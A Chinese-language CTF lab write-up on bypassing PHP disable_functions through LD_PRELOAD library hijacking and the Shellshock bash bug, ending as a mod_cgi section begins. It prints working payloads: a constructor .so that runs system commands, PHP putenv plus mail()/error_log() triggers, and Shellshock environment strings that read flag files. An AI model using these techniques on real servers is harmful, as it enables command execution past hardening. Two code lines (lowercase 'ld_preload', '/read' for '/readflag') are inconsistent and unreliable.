这是ctfhub的Bypass disable_function知识体系

image-20240311235539559

好多新东西能学的,来研究一下。

LD_PRELOAD

这里首先来了解一下动态链接库(也叫共享库),这部分在深入理解计算机系统这本书有详细说明,这里简单了解一下

共享库(shared library)是致力于解决静态库缺陷的一个现代创新产物。共享库是一个目标模块,在运行或加载时,可以加载到任意的内存地址,并和一个在内存中的程序链接起来。这个过程称为动态链接(dynamic linking),是由一个叫做动态链接器(dynamic linker)的程序来执行的。共享库也称为共享目标(shared object),在 Linux 系统中通常用 .so 后缀来表示。微软的操作系统大量地使用了共享库,它们称为 DLL(动态链接库)。

程序编译的四个过程如图(预处理、编译、汇编、链接):

image-20240312001644436

一个示例程序的动态链接的过程如图:

#include <stdio.h>
#include "vector.h"

int x[2] = {1, 2};
int y[2] = {3, 4};
int z[2];

int main()
{
addvec(x, y, z, 2);
printf("z = [%d %d]\n", z[0], z[1]);
return 0;
}

image-20240312001800286

这里介绍一个ldd命令,该命令的作用是:打印程序或者库文件所依赖的共享库列表

这是一个示例程序:

#include <iostream>
#include <vector>
#include <string>

using namespace std;

int main()
{
vector<string> msg {"Hello", "C++", "World", "from", "VS Code", "and the C++ extension!"};

for (const string& word : msg)
{
cout << word << " ";
}
cout << endl;
}

我们用ldd去看下编译生成的程序所依赖的库

image-20240312002417051

知道上面的基础东西之后,就来看一下LD_PRELOAD

LD_PRELOAD是Linux中的一个环境变量,它允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数。

那我们就可以利用ld_preload去劫持函数来达到我们执行恶意代码的目的,比如一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一模一样,而LD_PRELOAD路径指向这个文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,最后当我们执行了一个指令后它会自动调用一次恶意的函数,也是用自己写的恶意的so文件去覆盖。

这里用一个随机数函数的劫持来演示一下

生成随机数的代码:

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main()
{
srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同
int i = 10;
while(i--) printf("%d\n",rand());
return 0;
}
gcc -o rand randnum.c

./rand

image-20240312003634363

接下来写一个用于劫持的函数

//unrand.c
int rand(){
return 666;
}

然后用下面的命令生成so文件

# gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
gcc -shared -fPIC unrand.c -o unrand.so
export LD_PRELOAD=$PWD/unrand.so
#-fpic 选项指示编译器生成与位置无关的代码,-shared 选项指示链接器创建一个共享的目标文件
#unset LD_PRELOAD 可以还原函数关系

然后用ldd命令去看一下前后动态库加载的顺序

image-20240312004616502

image-20240312004626732

可以看出来其中的rand的函数被我们成功劫持了。

如果不知道调用了什么函数我们还可以用下面两个命令去跟一下系统调用的情况,但是这两个跟踪的重点有所不同

strace a.out  #跟踪系统调用和信号
ltrace a.out #用来跟踪进程调用库函数的情况

image-20240319163751066

image-20240319163811697

所以想要劫持具体函数的时候可以用ltrace这个命令更清晰

还有一个readelf命令可以用来查看elf文件的信息

readelf -s <ELF文件> #可以显示包含在可执行文件或共享库中的所有符号,包括函数符号

更多的东西参考这两篇文章:LD_PRELOAD劫持(超详细篇)-CSDN博客用LD_PRELOAD劫持的原理和实践 | CS笔记 (pynote.net)

现在看回这道题

image-20240312220351561

这个页面直接就是一个shell,那我们直接蚁剑去连接,用虚拟终端执行了一下命令,发现执行不了的

image-20240312220455165

这里就是因为disable_function禁用了所有命令执行的函数,所以这里就要用到ld_preload劫持的方法了,我们去看目录是有一个/flag的,但是没有东西应该也是因为函数禁用的原因,然后还有一个/readflag程序,应该就是要调用那个程序来读flag

这里先在本地Linux上写一个hack.c程序:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/eval.txt");
}

然后生成hack.so文件,上传到/tmp目录下

gcc -shared -fPIC hack.c -o hack.so

image-20240312221737068

然后我们再写一个php文件用于修改环境变量并用于调用被劫持的函数来读flag

<?php
putenv("ld_preload=/tmp/hack.so");

error_log('','','','');
mail('','','','');
?>

image-20240312221702596

然后去include一下:

image-20240312222556100

就可以看到/tmp目录一下有flag了

image-20240312222624367

现在来解释一下上面的原理:

__attribute__((constructor)) 是一种 GNU C 语言扩展,用于设置函数属性。

__attribute__ 是一个特性(attribute)机制,它允许你为函数、变量或类型添加额外的属性。这些属性可以影响编译器的行为,从而优化程序的性能、可移植性和可读性。

__attribute__((constructor)) 用于指定一个函数,该函数会在程序启动时自动执行,并且在 main() 函数之前。

类似地,还有 __attribute__((destructor)),它会在 main() 函数退出或调用 exit() 后自动执行。这对于释放资源或清理工作非常有用。

你还可以为属性设置优先级,例如:__attribute__((constructor(101))) void before1();这将按照优先级顺序调用带有 constructor 属性的函数。

注意,__attribute__ 是 GCC 编译器的扩展语法,不是标准 C 语言的一部分,因此在使用时需要考虑可移植性问题。

这里用mail()和error_log()的原因是因为他们都会去调用外部的/usr/sbin/sendmail程序用来发送邮件信息,所以我们就可以因此而劫持,可以用下面的命令去查看一下跟踪一下该函数的调用

strace -f -e trace=execve php 1.php

image-20240319170122690

然后我们还可以用命令去查看该程序调用了什么函数

readelf -Ws /usr/sbin/sendmail

image-20240312225539592

我们也可以去针对里面的一些函数去劫持,效果是一样的。

ShellShock

shellshock是一个在2014被公布的和bash有关的漏洞

参考文章:什么是ShellShock攻击? (zhihu.com)

就先来了解一下bash

bash是一个shell环境,它允许用户输入命令来与操作系统进行交互,执行各种任务。

我们每次输入bash的时候,系统就会创建一个新的子进程,而且涉及到fork和exec这两个系统调用的配合,其中的过程有下面几个步骤:

1.fork调用:当Bash需要创建一个新的子进程时,它首先调用fork。这个调用会创建一个与当前进程(父进程)几乎完全相同的新进程(子进程)。子进程会复制父进程的内存空间,包括代码段、数据段和堆栈段。fork调用在父进程中返回新创建的子进程的进程ID,在子进程中返回0。


2.子进程的环境:尽管子进程复制了父进程的内存空间,但它是一个独立的进程,拥有自己的进程ID,并且其执行路径可以与父进程不同。


3.exec调用:在子进程中,通常会随后调用exec系列函数之一来执行一个新的程序。exec函数会替换当前进程的内存空间,包括代码段和数据段,用新程序的内容来替换。这意味着子进程将停止执行原先继承自父进程的程序,开始执行exec指定的新程序。从用户的角度看,子进程似乎变成了一个全新的程序。


4.父进程的行为:在fork之后,父进程可以选择等待子进程结束,或者继续执行其他任务。如果父进程选择等待,它可以使用wait或waitpid系统调用来获取子进程的终止状态。

这个机制可以让bash在不终止当前会话的情况下,启动和管理多个任务,例如在运行一个外部脚本的时候,bash就会使用fork和exec来创建一个运行该命令的子进程,而bash自身则继续等待下一个用户的输入。

echo "父进程的PID:$$"
bash -c 'echo "子进程的PID:$$"'

上面两个命令输出结果如下:

image-20240318234637280

我们还可以通过下面几个命令查看进程情况

ps -f #查看当前进程的状态,-f表示全格式,可以显示出父进程的ID(PPID)
pstree -p #以树状图的形式显示进程及其子进程,-p选项可以显示进程的PID
cat /proc/PID/status #输入想要看的进程PID,可以知道进程的各种详细情况

image-20240318235046836

下面是会启动子进程的几种方式:

1.后台作业:使用&将命令放入后台执行,例如command &。
2.管道:使用|将多个命令连接起来,每个命令都会在子进程中执行,例如command1 | command2。
3.括号命令列表:使用()将命令包围起来,这些命令会在子shell中执行,例如(cmd1; cmd2; cmd3)。
4.执行外部脚本或程序:直接运行一个脚本或程序,如bash ./test.sh。
(echo $BASH_SUBSHELL)  #BASH_SUBSHELL这个变量能显示当前shell的嵌套深度
$BASH_SUBSHELL

image-20240319000940380

环境变量和bash

在bash中,子进程是不能继承父进程的普通变量或函数变量的,但是可以继承父进程的普通环境变量和函数环境变量

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# gu="hacker"

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# echo $gu
hacker

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# bash
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# echo $gu

image-20240321084451562

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# export gu

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# bash
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# echo $gu

image-20240321084631286

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# hack() { echo "hacker"; }
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# hack
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# bash
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# hack

image-20240321084802497

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# export -f hack
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# bash
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# hack

image-20240321084851281

下面就是有漏洞点的地方了,但是要在bash<=4.3版本才有该漏洞

先来展示一下没有漏洞的情况

┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# test='() { echo "this is a bug"; }'
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# test
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# echo $test
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# export -f test
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# export test
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# bash
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# test
┌──(root㉿DESKTOP-6T61DMR)-[~/tmp]
└─# echo $test

image-20240321085418028

有漏洞的情况就是在子进程中直接输入test会被当作函数来执行,比如文章中的这样

[04/12/2018 09:42] seed@ubuntu:~/Seed/shellshock$ ailx10='() {  echo "ailx10 is a hacker";}'
[04/12/2018 09:48] seed@ubuntu:~/Seed/shellshock$ export -nf gu
[04/12/2018 09:48] seed@ubuntu:~/Seed/shellshock$ export -n gu
[04/12/2018 09:49] seed@ubuntu:~/Seed/shellshock$ export -f ailx10
bash: export: ailx10: not a function
[04/12/2018 09:49] seed@ubuntu:~/Seed/shellshock$ export ailx10
[04/12/2018 09:49] seed@ubuntu:~/Seed/shellshock$ bash
[04/12/2018 09:50] seed@ubuntu:~/Seed/shellshock$ ailx10
ailx10 is a hacker

还可以有这种方式,利用() { :; };/bin/ls

[04/12/2018 09:57] seed@ubuntu:~/Seed/shellshock$ ailx10='() { :; };/bin/ls'
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$ export ailx10
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$ bash
curl-7.20.0 myls myls.c myprog.cgi.1 readme.txt
curl-7.20.0.tar.gz myls-notroot myprog.cgi myprog.cgi.2
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$ exit
exit
[04/12/2018 09:58] seed@ubuntu:~/Seed/shellshock$

综上所述触发bash漏洞可以归纳如下

  1. 产生新的bash
  2. 通过环境变量传递
  3. 环境变量以() {}这样的形式

可以用下面的一条语句来验证是否有shellshock漏洞

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

不存在的情况:

image-20240321090254063

存在的情况:

image-20240321090319060

:在这里就相当于true

env可以创建临时环境变量

bash -c可以运行一个shell命令

对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}’后停止,也就是说定义在函数体外shell命令也会执行。

那现在看回这题

同样蚁剑连上之后执行不了命令

image-20240321140952793

这题说是利用到了shellshock漏洞,那就要满足上面三个条件,这里是利用了执行error_log函数时会执行sh -c -t -i,这里还需要sh 默认的 shell 是 bash,然后就会开启一个新的bash环境所以如果存在漏洞即可触发,我们可以自己写一个error_log然后去跟踪调用看一下

<?php
system("ls");
error_log("",1,"","");
?>

image-20240321142333751

那么就可以同样利用上一题的方法,用putenv来写一个php文件然后上传触发

<?php
putenv("hack=() { :; };cat /flag >> /var/www/html/flag.txt");
error_log("",1,"","");
?>

image-20240321142626262

emmm很怪啊收不到flag

难绷后来找到问题,环境变量一定要有PHP_前缀我也不知道为什么很奇怪,正确payload如下,这里flag不能直接读要用/readflag:

<?php 
putenv("PHP_hack=() { :; }; /read >> /var/www/html/flag2.txt");
error_log('a',1);
?>

image-20240321145724033

Apache Mod CGI

参考文章:https://blog.csdn.net/xia739635297/article/details/104764329

CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。

使用linux shell脚本编写的cgi程序便可以执行系统命令。